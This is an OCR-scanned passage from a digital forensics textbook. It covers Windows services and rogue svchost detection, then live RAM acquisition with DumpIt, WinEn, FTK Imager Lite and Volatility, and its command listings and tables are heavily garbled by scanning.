explorer.exe 1984 HN-A
UMuareTray.exe 2824 N/
UMuarelser.exe 2832 N-/A

nwuauc 1t .exe 412 N-A

wmiprvse .exe 824 N-A

uwmipruze .exe 248 N-A

icmd . exe 364 N-A
tasklist.exe 236 N-/A

G2

You can see this concept most clearly by examining the svchost process. In Figure 5.11, you
can see that there are eight instances of the process svchost.exe running on the system. The
svchost, or service host, process hosts services that are implemented by a DLL rather than as a
stand-alone executable image file (a Microsoft Portable Executable, as described in Chapter 3).
The svchost. exe file therefore can be called to start a new process and load whatever DLLs
are needed to launch and run various services whose code exists in different DLL files. In
Figure 5.11, you see that process ID 892 is a svchost.exe process that is hosting two services:
Dhcp and Dnscache. Each of these services is implemented in a different DLL. When the OS
launches these services, it starts one svchost process for both services and has that svchost pro-
cess import each of the DLLs required to run each service. Figure 5.12 illustrates this concept.

The reason for the svchost process being used to implement multiple services is efficiency.
By using one process for multiple services, you reduce the amount of system tables, memory
management, and so on that the OS must perform to provide the various services. If multiple
services can coexist within a single process, that is a more efficient implementation than using a
separate process for each service. Sometimes a service is given its own svchost process to ensure
that other services running in its process memory space do not conflict with one another. In
order to share a single svchost memory space, the services must be written to not compete for
the same resources.
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The svchost process
imports the DLLs
required to run

the services that it svchost
implements.
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dhcpsve.dll

dnsrslvr.dl11

Since the OS manages services, the registry ] contains a lot of information that tells us more

about each service. Each service that registers with the OS is recorded in registry keys. Chapters
8 and 9 will cover the registry, its structure, and methods for examining evidence found within
it. For now, we will simply use regedit to show a few keys of interest that relate directly to the
concept of services. Chapter 9 will provide more information on how to forensically examine
this information for a specific case, just as Chapter 6, “Live-Analysis Techniques,” will provide
more details on how to examine running processes on a system in a forensically sound manner.

@ Real World Scenario

HANG IN THERE

You may again be thinking that we are getting too deep into the mechanics of process management
and services. To allay any concerns you may have, here’s where this is going.

Say that you are called to the scene of a network incident. The system administrator states that he
believes a particular computer was compromised and that an unknown attacker has control of the
system. As we mentioned in Chapter 1, attackers will frequently embed themselves on a system
by installing malicious software on the system to sniff for passwords, open backdoors, and so on.
These malicious tools are often installed as services, since the attacker wants them to restart every
time the computer is rebooted, automatically restart if there is a failure that causes them to stop,
and so on.

Chapter 6 will give you specific techniques to examine the processes that are running on the report-
edly compromised computer. The type of information that you will get will be similar to the infor-
mation we are showing in this chapter using the task11ist command. After you perform your live
forensics and gather the information about the running processes, you can then image the system.
Once the system is imaged, you will use the techniques discussed in Chapter 8, “The Registry
Structure” and Chapter 9, “Registry Evidence” to review the evidence in the registry. Some of that
evidence will be the keys shown here using regedit.

Ultimately, you will be able to identify the services that were running on the system, identify on
disk where each service is, and use the techniques we will discuss in Chapter 10 to determine exactly
what each service was doing to the compromised system.

This information is at the core of a Windows network investigation, so stick with us. The payoff
will be the ability to understand how attackers use Windows services to embed on a system, and
to be able to show the results of such an attack in court.
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When a service registers with the operating system, a few key pieces of information are
stored in the registry in the HKLM\SYSTEM\CurrentControlSet\Services key. Within this key,
a new subkey is created for each service, named after the name of each service. The key created
for the DHCP service from Figure 5.11 is shown in the registry in Figure 5.13.
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In Figure 5.13 the Dhcp service subkey entry is highlighted and the full path within the regis-
try to that subkey is listed at the bottom of the regedit screen. We have also circled the ImagePath
value on the right pane of the regedit screen. The ImagePath value shows, for any registered ser-
vice, where on disk the process that will be executed to start that service exists. In other words,
by examining the ImagePath value, you can provide a correlation between a service running in
RAM and the program on the disk that stores the instructions that service is executing.

In Figure 5.13, you see that the DHCP service is implemented using the %SystemRoot%\
system32\svchost.exe file. This is the default location for the svchost process used by the OS to
host services. If you ever see an svchost. exe file in a location other than this default location, this
should immediately raise your suspicions (see the “Svchost in the Real World” sidebar).

Another registry key value that is of use when examining the svchost processes is the
ServiceDLL value. This value is found under the Parameters subkey of each registered service
that uses a svchost process. As we mentioned, services that use the svchost process are imple-
mented as DLLs. The ServiceDLL value shows where on disk the service resides. This key is
circled in Figure 5.14.
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THEBOTTOM LINE

@ Real World Scenario

SVCHOST IN THE REAL WORLD

Attackers love the svchost process. The truth is that many administrators don’t actually understand
whatitis orwhatit does. They simply know that itis present on the system, there are multiple instances
running at any given time, and it is necessary for normal system operation. Attackers frequently
exploit ignorance of what svchost does by naming a malicious tool svchost . exe. When it shows up
as running on the system, many administrators (and even investigators) miss it, thinking it is one of
the many “mysterious but normal” svchost processes. Sometimes attackers misname arogue svchost
process something like svchosts or scvhost, hoping that it will go undetected. Others will simply place
acorrectlynamed svchost. exe programin alocation other than %SystemRoot%\system32 to keep
itfromraising alarmsina task11ist output. The bottom line is that all instances of svchost should be
thoroughly examined to ensure that they are the legitimate processes that they initially seem to be.

Here are some suggestions for identifying rogue svchost executables:

€ Whenrunning asafe copy of task1ist with the /svc switch (as will be discussed in Chapter 6),
be suspicious of any svchost process that shows N/A in the Services column. The only point to
the svchost processis to host services; if a process is named svchost but is not hosting a service,
it is most likely a piece of malware attempting to pass as a legitimate service host.

& Examine the registry keys associated with running services to ensure that they point to the
default svchost. exe executable file (as discussed previously in this chapter).

& During forensic analysis, view an alphabetical list of all files on the system. Note the location of
any svchost. exe files. Any of these found in a location other than %SystemRoot%\System32
should be examined and treated with suspicion. Also note if any programs have names similar
to svchost.exe but contain slight misspellings and so on. Again, these should be considered
suspicious and analyzed, as discussed in Chapter 10.

We have often encountered malware attempting to masquerade as a legitimate svchost process. It
is a favorite trick of attackers, and its use is still very prevalent.

We will continue to examine ways in which the registry can be of assistance to you in Chapter 8

and Chapter 9. Live-analysis and tool-analysis techniques will be discussed in Chapter 6 and

Chapter 10, respectively. The purpose of this chapter was to provide you with the technical under-
standing of how Windows uses ports and services in the course of normal operation and how attack-

ers also take advantage of ports and services to perform malicious activity.

The Bottom Line

Explain the role of open and active ports in a network investigation. Ports represent ways

to communicate with a system. Open ports are those that are bound to a listening process
and that can be used to receive and process some type of communication. To an attacker, an
open port represents a possible way onto a system. Investigators must know which ports are
in use on a victim system in order to examine each for possible rogue use and to help deter-
mine how an attack may have occurred.
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Master It You are called to investigate a suspected computer intrusion at a private com-
pany. Upon examining the ports that are open on the victim system, the administrator
noted that TCP port 4444 was listening on one of his computers. He notes that the firewall
that guards the only connection to the outside world does not permit any traffic to enter
to port 4444 on any of the systems. He concludes from this that some legitimate process
must use this port since an attacker would not benefit from opening such as port. Is his
logic sound? Why or why not?

Identify what a service is and explain its importance in a network investigation. Services
are processes that are managed by the operating system and that run in a security context
that is not dependent on a user being logged on to the system. A service is typically started
at boot time. Services can be bound to a port to provide a listening process that will always
restart when the system is rebooted and that can be automatically restarted in the event of

a failure. Since services are robust and start automatically, attackers frequently use them to
perform malicious functions such as opening backdoors to the system, running a sniffer or
keystroke logger, or performing other malicious functions.

Master It You determine that a service running on a compromised system is being used
to perform password sniffing. You have identified that the name of the service is w32ps.
How might you determine where the service’s program is located on disk?

Explain the svchost process and its importance in a network investigation. The svchost
process hosts services implemented in DLLs rather than as stand-alone programs. A single
svchost process may host multiple services from multiple DLLs or may host a single service.
Since multiple instances of the svchost process appear in most Windows systems, the name is
a favorite for attackers. Many malicious programs will use the svchost name or a variant of it
to try to avoid detection.

Master It Looking at the tasklist /SVC output shown here, identify a process that is
most suspicious:

& Command Prompt = X;

C:x>tasklist ~SUC I

Inmage Nanme PID Bervices

Bystem Idle Process N-/A

System 4 N/ |

SMSS.exe 288 H-A

CSISS .exe 432 N/

winlogon.exe 456 M-sn

services.exe 588 Eventlog, PlugPlay

lsass.exe 512 gTTgFilter. Policyfigent. ProtectedStorage.
anSs

svchost.exe 688 RpcSs

suchost.exe 736 TermService

suchost_exe 892 Dhcp. Dnscache

suchost.exe 908 LmHosts

suchost.exe 928 AudioSrv, Browser, CryptSve, dmserver.

EventSystem. helpsvec, lanmanserver,.
lanmanworkstation. Hetman. Mla. Schedule.
seclogon,. SENS. ShellHWDetection,. TrkWks.
W32Time. winngnmt. wuauserv, WZCEUC

zpoolsu_exe 1116 Epooler
msdtc.exe 1148 MSDIC
suchost.exe 1268 ERSuc
inetinfo.exe 1316 I1ISADMIN
suchost.exe 1344 RemoteRegistry
UHuareService .exe 1388 UMuare Tools Service
tocpsvcs.exe 1436 DHCPServer
svchost.exe 1528 W3svc
dfssvc.exe 1664 Dfs
explorer_exe 1984 N-/A
UMuareTlray.exe 2824 N-/A
UHuarelser.exe 2832 N-A

wuauc 1t . exe 412 Hof

wnNipruse .exe 824 N-sn

cnd.exe 364 N-A
regedit.exe 1928 N-A
svchost.exe 1356 N-A
tasklist.exe 1856 N-A

wnipruse .exe 1916 N-/A

Cino =
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Live-Analysis Techniques

As you saw in Chapter 3, “Beyond the Windows GUL" attackers will frequently take signifi-
cant steps to conceal their presence on a system. Some of these steps include avoiding making
changes to the hard drive of the victim system in order to reduce the amount of recoverable
evidence of their activities. You saw in Chapter 5, “Windows Ports and Services,” how valuable
information regarding running processes as well as open and active ports on the system can
be stored in the RAM of a running system. This chapter will build on the knowledge that you
gained in those two chapters to explain ways to gather this type of evidence from a running
system. This knowledge will help elevate your skills from those of a basic responder who simply
collects computer hard drives to a more advanced investigator who can make informed investi-
gative decisions at the scene.

In this chapter, you will learn to

¢ Prepare a toolkit to acquire RAM from a live system

¢ Identify the pros and cons of performing a live analysis

Finding Evidence in Memory

Attackers generally realize that their activities are illegal and, most presumably, prefer not to
go to prison for their crimes. Therefore, hackers attempt to hide the evidence of their activi-

ties on their victims’ systems. To facilitate such covert behavior, hacker chat rooms and forums
frequently have postings regarding the methods used by law enforcement to gather computer
forensic evidence. Hackers post fairly accurate summaries of generally accepted forensic tech-
niques and point out the vulnerabilities of those techniques—in effect hacking our procedures
as well as their victims’ technology. One of the most common points made in these hacker dis-
cussions is the traditional focus of law-enforcement forensics on looking for evidence primarily
on the hard drives (or other nonvolatile storage media) of the victim computer.

For years, law-enforcement and other computer forensics training has focused on the impor-
tance of not modifying the time stamps of files on the target system’s storage media. To ensure
that time stamps are not altered by the actions of the forensic examiner during evidence collec-
tion, we have traditionally photographed the target system in place (to capture the data that is
visible on the screen and to record the hardware connections and placement) and then imme-
diately disconnected it from the electrical supply by pulling the power cable from the back of
the computer. While this does have the desired effect of stopping activity on the system and
preserving time stamps from that point forward, it also has the undesirable effect of deleting
all data from volatile storage, such as the system’s RAM. Attackers realized this vulnerability
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in our traditional approach to seizing computers, and they have designed their current toolsets
to take advantage of our shortcomings. Many hacker tools now use DLL injections, hooks, and
other methods to ensure that their code will execute only in memory without ever touching the
hard drive or other nonvolatile storage media. When an examiner comes to seize the computer
and the evidence that it contains, the evidence in RAM is destroyed as soon as the power cable is
removed from the system. At this point, all traces of a skilled attacker may be irrecoverably lost.

A NOTE ABOUT TIME STAMPS

Time stamps have taken on an almost sacrosanct importance in the computer forensics world.
While you certainly want to take all reasonable steps to preserve the time stamps of files of evi-
dentiary importance, it is equally important to realize that most network operating systems
constantly perform some sort of background process. Whether it is populating the Network
folder, responding to requests from other networked systems, performing a scheduled backup,
or running a virus scan, a Windows system is almost always doing something. The time stamps
of its files will frequently be changing, whether the forensics examiner is touching the keyboard,
moving the mouse, or simply staring at the computer from across the room. The mission of the
investigator is to preserve and collect evidence. Destroying potentially crucial evidence in RAM
in an effort to preserve time stamps is not necessarily a wise trade-off. You must always think
about the pros and cons before pulling the power plug from a target system.

To collect evidence from the volatile storage of the target system, it may become necessary to
violate one of the oft-repeated mantras of computer forensics: “Never touch the keyboard of a
live system.” Why has this tenet existed? It has been to preserve the accuracy of the system’s file
time stamps (see the “A Note about Time Stamps” sidebar). If an examiner interacts with the sys-
tem, this will cause files to be accessed on the hard disk, and this in turn will cause their time
stamps to be altered. While this long-standing rule has very valid reasons for existing, there are
exceptions to every rule. If an investigator were to seize the computer of a subject suspected of
possessing child pornography, she could certainly follow the standard tenet of seizing forensic
evidence and simply pull the power plug from the system. Might she lose evidence from the
computer’s RAM? Certainly, but she will also still have the multiple gigabytes of neatly orga-
nized and cataloged images depicting child pornography that the subject has stored on the sys-
tem. These are the types of cases that made the “don’t touch the keyboard” rule so pervasive.

If, on the other hand, the investigator were seizing a computer suspected of being the victim
of an intrusion, she now must consider other factors. Since hacker tools frequently run only in
system memory and leave no trace on the hard disks, she now has to consider the fact that pull-
ing the power plug may actually lose more evidence than it preserves. In such a case, touching
the keyboard in order to extract and preserve evidence in RAM may be worth the cost of alter-
ing some system time stamps.

Extracting evidence from RAM involves some form of live analysis. The key components to
any live analysis are as follows:

¢ Keep interaction with the target system to a bare minimum.

¢ Bring your own trusted tools.
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¢ Thinkbefore you act, and then think again before you act. Once you take any action on a
live system, there is no changing the outcome.

¢ Document all your actions (see the “Document, Document, Document” sidebar).

If you keep these key points in the front of your mind and the overall objective of your inves-
tigation even further to the front of your mind, then you will have the best chance at making
the best determination as to what investigative steps are most appropriate for your particular
situation.

You can use a variety of methods to analyze the contents of RAM from a live Windows sys-
tem. The solutions range from pricey proprietary software solutions to widely distributed free-
ware that can be easily downloaded from reputable public websites, which focus on memory
collection and digital forensics.

The options presented in this chapter are by no means an exhaustive list of available prod-
ucts and techniques to acquire and analyze RAM. They are an illustrative sample of what might
be available to a network investigator and should provide a good starting point for anyone inter-
ested in performing live analysis of a Microsoft Windows system.

We will start our discussion by demonstrating various tools that could be used to capture
and preserve RAM for subsequent analysis.

@ Real World Scenario

DOCUMENT, DOCUMENT, DOCUMENT

Whenever you contemplate performing live analysis of a system, remember that every step you
take must be meticulously documented. You may be called upon to explain every step taken, why
you took it, and what effect it had years down the road when the case is before a jury.

One of the authors of this book carries a portable atomic clock in his search kit. Whenever he per-
forms live analysis, he records the exact time as well as the exact steps taken and the noticeable
result of those actions. It is also a good idea to take digital photos of the screen as you go along (with
accurate time stamps if possible) and/or to record the entire process to further eliminate any doubt
as to what actions were taken at the scene.

Itis critical to document every action you take, even if you later wish you hadn’t taken some action. If
you make a mistake (such as a typo while issuing a command), you must still document that action.
You have a duty to accurately report your actions; if a defense expert later proves that you omitted
facts that were less than favorable to your case, you will likely lose both that case and your job.

Creating a Windows Live-Analysis Toolkit

Conducting live analysis of a Windows system takes some prior planning. Traditionally, one of
the most cost-effective and safest methods of performing live analysis was to create a series of
live-analysis CDs. These CDs would contain the software needed to recover the majority of the
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evidence that a network intrusion investigator would need to properly process a victim com-
puter’s memory. These CDs would contain not only trusted copies of common analysis tools
but also the shared dynamic-link libraries (DLLs) on which these tools rely. These CDs should
not be confused with boot CDs such as BackTrack or SANS Investigate Forensic Toolkit (SIFT)
(http://www.computer-forensics.sans.org/community/downTloads/), which can be used to
boot an offline system into an operating system controlled by the investigator. A live-analysis
CD would contain tools that run within the operating system of a live target system in order

to gather information about the state of that system and the contents of RAM. While proven to
be effective, this method requires a lot of up-front preparation and has the potential to be quite
time consuming, because commands are often manually run on the target system by the inves-
tigator. This can have serious side effects, since pertinent data will sometimes exist in RAM for
only a short period. Also, the disadvantages of running commands on a compromised system
are well documented and to be avoided when possible. Fortunately, volatile storage-collection
techniques have drastically improved in recent years and made the process much more efficient.

A NOTE ABOUT PULLING THE PLUG

When conducting a network investigation, it is important to think about your reasons for per-
forming every action you take that can impact the network or its systems. This is why you will not
find checklists or other “perform these steps every time” lists in this book. Network investigation
is a dynamic art more than a science. Every action that you take will have consequences, and
you must weigh and understand those consequences in each individual case. In some cases, the
risk of altering time stamps is acceptable when weighed against the risk of losing data in RAM.
Similarly, you will need to weigh the risk of using a graceful shutdown (issuing the appropriate
shutdown command) versus simply pulling the power cable from the system.

Although pulling the power cable from the system will stop all changes to time stamps from that
point forward, it can also cause other problems. For example, failing to gracefully shut down
can result in corruption of event logs (as will be discussed in Chapter 15, “Forensic Analysis of
Event Logs”) or lead to the corruption of databases used by business-critical applications. There
are very few absolute rules when conducting a network investigation, and the purpose of this
bookis largely to provide you with the knowledge necessary to evaluate each situation and make
informed investigative decisions.

As mentioned in Chapter 3, DLLs reside on the system and are available for application pro-
grammers to access through a specified application programming interface (API). Most code
that runs on a Windows system relies on these DLL files. Commands such as netstat and
task1ist that can be important in analyzing evidence in the RAM of a victim system also rely
on system DLLs to perform their function. If an attacker has complete control of a system, it is
possible that he has also replaced the standard system DLLs with versions that are designed to
hide his presence. To minimize both the risk of maliciously modified files causing erroneous
results and the impact on the time stamps of various files on the hard disk, it is recommended
that you do not rely on tools or commands that will utilize potentially compromised DLLs.
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REALITY CHECK

While there are many options available to a network investigator for conducting a live response,
you shouldn’t throw every known tool at a live system just because you have them on hand.
The situation could be addressed with a live-analysis CD containing cmd . exe, netstat.exe,
and taskl1ist.exe. These three tools alone enable an investigator to gather information about
the open ports, active connections, and running processes on the target system. There will, of
course, be situations when other tools are desirable or necessary, but carefully consider the con-
sequences of your actions before you act. Remember, the objective is to gather the appropriate
evidence while interacting with the system as little as possible. A good guideline when making
these decisions is to ask yourself specifically why you are running a particular tool. If you can’t
clearly articulate a reason to yourself at the time of the evidence collection, how will you be able
to do so on the witness stand a year later?

Also, keep in mind that you should use a verification process for each tool, as well as for any
vendor-specific products that you purchase. It is ultimately the responsibility of the investiga-
tor to understand and testify to the processes performed during the collection of evidence. Just
because a vendor claims that a particular widget can be used to perform live analysis without
impacting the victim system’s hard drive, it is still your responsibility to test and verify that
process prior to deploying it. Remember, it will likely be you, not the vendor, who will be facing
cross-examination by a defense expert. Therefore, part of your verification process should be
to document how and when you verified each tool that you will use so that you can provide that
information to the court.

Finally, remember that you should never run tools that are stored on a victim computer. Files on
a compromised system may have been replaced by Trojans or rootkits that could hide the hacker’s
presence or even initiate a destructive logic bomb on the system. When possible, bring your own
tools to the party. Many agencies and vendors recommend carrying your live-analysis tools on a
USB thumb drive. The analysis tools can be run from the drive, and the output can be redirected to
the same drive and saved as evidence. While this method certainly does work, the act of inserting
athumb drive into a USB port on a Windows system involves activating the Plug and Play service,
the Hardware Installation Wizard, possibly a virus-scanning utility, and other services. Simply
by inserting the USB thumb drive, you will cause numerous time stamps to be altered—and even
cause writes to the registry. While this is not necessarily an investigative problem, if there are
less-intrusive ways to gather the same evidence, then you should consider using them. Again, it
will be up to the investigator on the scene to make the final determination as to what trade-offs
should be made when using various techniques to gather evidence.

Collecting RAM from a live Windows system requires specific knowledge of the environ-

ment to which you are responding. Is the operating system Windows XP, Windows Server 2003,
Windows Vista, Windows 7, or Windows Server 2008? If so, which service pack? Is it a 32-bit or
64-bit architecture? The answers to these questions will have a direct impact on what tools you
select to acquire volatile storage. Some tools cannot access RAM data for 64-bit systems. Why?
Because 64-bit systems use a totally different memory-addressing structure than their 32-bit
counterparts. Similarly, other tools might only be able to access RAM for specific operating
systems.
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The moral of the story here is to research the selections of your toolkit, test them thoroughly,
and choose your weapons wisely. RAM is notoriously temperamental, so always assume that
you have but one shot to execute a successful acquisition. The tools you select must be reliable
and produce the smallest footprint possible to prevent excessive swapping to the system page-
file, which introduces all kinds of other issues such as increasing the possibility of overwriting
data in unallocated clusters.

@ Real World Scenario

During a trip to Asia (more recently than I (Scott) would like to admit), I was to help teach a course
in digital forensics and investigations to a law-enforcement entity. l was looking forward to demon-
strating some newly released RAM acquisition tools. Having just downloaded these tools before my
departure, 1 didn’t have nor set aside enough time to test them adequately before my presentation.
Downloading and quickly running them on my personal 64-bit Windows 7 Professional rig had
proven them to be very effective (on my machine, of course) and gave me all the confidence needed
to prepare a short exercise for the officers to run through. On the first day of class 1 distributed the
new RAM acquisition tools to all of the participants and confidently gave the go-ahead to execute
them on classroom systems that 1 had thoroughly not tested. Of course Murphy’s Law was in full
effect that day, and each computer systematically crashed in quiet succession, leaving a classroom
of confused eyeballs staring right through me. My moment in the sun would not come that day, and
1was relegated to being the lazy examiner using techniques that  emphatically taught against. Had
it been a real-life response effort involving a compromised business-critical server, this mistake
would have been unforgivable, and invaluable evidence would have been lost—along with all traces
of the hacker’s activities. Had I simply tested my tools on the classroom systems beforehand, this
awkward situation would have never presented itself. I was definitely the student that day.

Using Dumplt to Acquire RAM from a 64-Bit Windows 7 System
The MoonSols Dumplt utility (http://www.moonsols.com/wp-content/plugins/download-
monitor/download.php?id=7/)is a great RAM-collection tool that is effective in both 32-bit
and 64-bit environments. It has been successfully tested on Windows XP/Vista/7/2003/2008
operating systems, and it requires minimal interaction with the target system while producing
a raw binary image of volatile storage. Dumplt is an independent command-line tool that runs
within the target system’s DOS command shell, where its RAM footprint is kept to an absolute
minimum—thus preserving RAM contents.

For this exercise you will use the following test environment:

¢ Forensically cleaned USB storage media (at least 16 GB in capacity) formatted using NTFS
and labeled TOOLSDISK

Microsoft Windows 7 system (64-bit)

MoonSols Dumplt utility saved to the root of the USB storage media



CREATINGAWINDOWS LIVE-ANALYSIS TOOLKIT

Follow these steps:

1.

Insert the prepared USB storage media into the test system. Be sure to cancel any Auto
Run dialog boxes that might appear to minimize impact to data currently in RAM.

Click Start.
Enter cmd. exe in the Search Programs And Files field.

Press and hold Ctrl+Shift, and then click cmd. exe in the list of hits. This opens a DOS
command shell in Administrator mode, which is needed to execute the commands in this
exercise (diskpart and DumpIt)

Enter the command diskpart and press Enter.

From the DISKPART> prompt, enter the command 1ist volume and then press Enter,
as shown in Figure 6.1. The output of this command is a display of all disk volumes
mounted by the test system. This is important in your goal to minimize the amount of
activity on the target system.

TIP

Double-clicking Computer from the desktop to view mounted devices will launch a GUI window
that has a much bigger RAM footprint than the command shell.

7. Review and document the volume assigned to the USB storage media that you labeled
TOOLSDISK containing the Dumplt utility (for example, F:\).
FIGURE 6‘1 A Administrator: CAWindows'sy 32cmd.e liskpart
DISKPART output Microsoft Windows [Uersion 6.1.76811
Copyright {(c> 2889 Hicroszoft Corporation. A1l rights reserved.
G:sWindowsssystem32>diskpart
Microsoft DiskPart version 6.1.7681
Copyright (C> 1999-2888 Microsoft Corporation.
On computer: SCOTT-HP
DISKPART> list volume
Uolume ## Lty Label Type Size Status Info
Uolume A DUD—-ROM B B Ho Hedia
Uolume 1 SYSTEM Partition 199 MB Healthy System
Uolume 2 c Partition 78 GB Healthy Boot
Uolume 3 D Data N Partition 628 GB Healthy
Uolume 4 F TOOLS Removahle 3857 MB Healthy
DISKPART>
8. From the DISKPART> prompt, enter the command exit.
9. From the command prompt, enter the volume letter assigned to the USB storage media
(for example, F:) and press Enter.
10. Enter the command dumpit.
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11.

Type Y and then press Enter to acquire RAM from the live system. The raw binary dump
will be saved on the USB storage media in the same directory as the Dumplt utility.

TIiP

The procedure to acquire RAM from a 32-bit system using Dumplt is exactly the same as outlined
in the previous exercise. The output from this utility can be analyzed using a variety of main-
stream forensic tools, some of which will be mentioned later on in this chapter.

Using WinEn to Acquire RAM from a Windows 7 Environment

Guidance Software’s WinEn utility (included with EnCase 6.11 and higher) is another great
option for acquiring RAM from 32- or 64-bit Windows systems. It is a command-line utility sim-
ilar in functionality to Dumplt, but it generates output in its own Expert Witness format (E01).
The benefits of using E01 format are many and well documented, including the evidence integ-
rity features that it provides and compatibility with mainstream forensic analysis tools such as
EnCase, FTK, and X-Ways Forensics (http://www.x-ways.net/winhex/forensics.html/).

For this exercise, use the following test environment:

*

Forensically cleaned USB storage media (at least 16 GB in capacity) formatted using NTFS
and labeled TOOLSDISK

Microsoft Windows 7 (32- or 64-bit)

Guidance Software’s WinEn utility saved to the root of the USB storage media. WinEn

can be copied from the Encase installation directory for 32-bit (winen. exe) and 64-bit
(winen64. exe) systems. We recommend copying both tools to the USB storage media in an
effort to prepare for response to any environment.

Follow these steps:

1.

Insert the prepared USB storage media into test system. Be sure to cancel any Auto Run
dialog boxes that may appear to minimize impact to data currently in RAM.

Click Start.

3. Enter cmd.exe in the Search Programs And Files field.

Press and hold Ctrl+Shift and then click cmd. exe in the list of hits. This will open a DOS
command shell in Administrator mode, which is needed to execute the commands in this
exercise (diskpart and WinEn).

Enter the command diskpart and press Enter.

From the DISKPART> prompt, enter the command Tist volume and press Enter. We've
already discussed the purpose of identifying the USB storage media volume in this man-
ner. Minimizing RAM impacts should always be your top priority.

Review and document the volume assigned to the USB storage media labeled TOOLSDISK
containing the WinEn utility (for example, F:\).
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9.
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11.
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14.
15.

16.
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From the DISKPART> prompt, enter the command exit.

From the command prompt, enter the volume letter assigned to the USB storage media
(for example, E:) and then press Enter.

Enter the command winen.exe and press Enter. WinEn.exe is designed to be run on
32-bit systems, but if the Windows 7 test system is 64-bit, you will simply get an error
message directing you to use the correct version of the utility (winen64.exe). The same is
true for the reverse scenario in which the 32-bit version of WinEn is executed in a 64-bit
environment.

At the ensuing command prompt, enter the full path and filename for the RAM image
you wish to store on the USB storage media (for example, E:\RAM), and then press Enter.

At the next command prompt, enter a name for the evidence (RAM) as you would like it
to appear in EnCase (for example, WinSvr2k8), and then press Enter.

At the next command prompt, enter the case number for the investigation (if you have
one), and then press Enter.

At the next prompt, enter your name as the examiner, and then press Enter.

At the next prompt, enter the assigned evidence number (if you have one), and then press
Enter.

At the last prompt, enter the compression level (0 = none, 1 =medium, 2 = high). We
recommend that you use 0 compression to minimize the potential for errors during the
acquisition process. Press Enter to begin the acquisition to the USB storage media.

When the acquisition process is finished, you will have an EnCase evidence file that can be
imported directly into your mainstream forensics-analysis tool.

TIP

Remember, when collecting volatile storage, you must assume that you have one shot to get it
right. If anything goes wrong, then RAM is not in the same state as when you arrived on the scene.
WinEn runs leaving a very small footprint on the target system, which, as discussed before,
should always be the objective.

Using FTK Imager Lite to Acquire RAM from Windows Server 2008

AccessData’s FTK Imager Lite (http://www.accessdata.com/support/adownloads/) is the
last tool that we will discuss, but by no means is it the least. It has proven to be a very stable and
reliable utility that can acquire RAM from almost any 32- or 64-bit Microsoft Windows environ-
ment. The output is a raw binary image of the target system’s RAM that can be analyzed by
most mainstream forensic analysis tools. One drawback, however, is that you must use the GUI
interface, which has a significantly larger footprint than the command-line utilities Dumplt and
WinEn. However, FTK Imager Lite is able to acquire RAM from Windows systems much more
reliably than other tools that I have tested (including WinEn).
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For this exercise you will use the following test environment:

*

*
L 2

Forensically cleaned USB storage media (at least 16 GB in capacity) formatted with NTFS
and labeled TOOLSDISK

Microsoft Server 2008 (32- or 64-bit)

AccessData FTK Imager Lite 2.9.0 copied to the root of the prepared USB storage media

Follow these steps:

FIGURE 6.2

Capture Memory

. Insert the USB storage media containing FTK Imager Lite into the Windows Server 2008

system.
From the desktop, double-click the Computer icon.

From the section Devices With Removable Storage, double-click the volume labeled
TOOLSDISK to access the USB storage media containing your toolkit.

Double-click the folder labeled Imager_Lite_2.9.0.
Double-click FTK Imager to launch the forensic acquisition application.

Click the Capture Memory icon, as shown in Figure 6.2.

®
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Capture Memory

Capture Memory
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7. Click Browse and navigate to the USB storage media to save the RAM dump on the root
of the TOOLSDISK volume.

8. Click Capture Memory to acquire RAM from the Windows Server 2008 system and save it
to the USB storage media.

You now have some very reputable tools at your disposable in a formidable toolkit that can
be used to acquire RAM for almost any 32- or 64-bit Windows system. Analysis of these acquisi-
tions will hopefully reveal evidence of tools and/or a compromise that resides in RAM that you
would normally miss if power were removed from the system.

THE BENEFIT OF VIRTUAL REALITY

One of the most time-efficient ways to test RAM acquisition tools is through the use of virtual
machines. RAM acquisition tools are updated often to add support for specific environments. It
behooves you to test updated tools against known Windows installations before arriving on the
scene of a compromise. Running them untested on a live system that is part of an ongoing inves-
tigation could have devastating consequences and shorten your lifespan as a network forensics
examiner.

Using Volatility 2.0 to Analyze a Windows 7 32-Bit RAM Image

Volatility (http://www.code.google.com/p/volatility/) is an open-source memory analysis
tool that is very effective in extracting data from RAM acquisitions. The output from this tool
can assist an examiner in determining the state of a target system at the time volatile storage
was collected. Information retrieved can include active network connections and the processes
that were using them, a list of running processes, and the DLLs loaded into memory, just to
name a few. Online documentation for this tool is extensive, and basic usage instructions can be
easily found (http://www.code.google.com/p/volatility/wiki/BasicUsage/).The analysis
tool is driven by plug-ins that currently support only the following operating system versions:

Microsoft Windows XP sp2/sp3
Windows Vista x86 sp0/spl/sp2
Windows 2003 x86 sp0/sp1/sp2
Windows 2008 x86 spl/sp2

* & o o

Windows 7 x86 sp0/spl
For this exercise, you will use the following test environment:

¢ USB storage media (16 GB or larger) with a Windows 7 RAM acquisition in raw format.
For this example, the RAM image was obtained using Dumplt. The image filename was
changed towin7. raw to make it easier to reference in this exercise and copied to the root of
the flash drive.
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*

*

Volatility 2.0 Standalone copied to the root of the same USB flash drive.

The test system to be used during analysis must be configured with the following mini-
mum requirements:

¢ Windows XP service pack 2
¢ 3GBof RAM

¢ 10 GB of free space

¢ 2.0 GHz Dual Core processor

Follow these steps:

1.

2.
3.

Insert the USB storage media with the Windows 7 RAM image and Volatility 2.0
Standalone into the test system.

Open a command shell and navigate to your USB storage media.

Enter the command volatility —h to display the help documentation for the analysis
tool. The documentation will help you understand how to use the various plug-ins to pull
the data you are looking for from the RAM acquisition.

TIP

Online documentation for this tool is extensive. For basic usage instructions, go to:

http://www.code.google.com/p/volatility/wiki/BasicUsage/

4.

To determine the profile that needs to be used for the RAM image win7. raw, execute the
following command: volatility imageinfo —f win7.raw.

The output for this command clearly displays which profile to use in the Suggested
Profile(s): field. For this example, the image file used needs the profile Win7SP0x86:

Volatile Systems Volatility Framework 2.0
Suggested Profile(s) : Win7SP1x86, Win7SP0x86

To display the list of DLLs loaded into memory for each running process, enter the fol-
lowing command: volatility —profile Win7SP0x86 d111ist —f win7.raw.

The output for this command displays a listing of the DLLs utilized by each running pro-
cess on the Windows 7 system. This can help you determine if an unknown or malicious
DLL has been loaded into RAM for a seemingly legitimate process, such as chrome. exe.
Remember, Windows executables borrow functionality from DLLs that are loaded into
RAM together with the binary executable. If the DLL contains malicious code, it will be
called together with the legitimate process. The victim’s computer system will have abso-
lute trust in any system calls that an executable makes during the course of its execution.
If a DLL (or two) has been hijacked or injected into RAM by an exploit, the computer will
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certainly have no qualms about running the malicious code. As the analyst, you need to
be able to identify when this is taking place.

chrome.exe pid: 2712
Command Tine :

Base Size Path

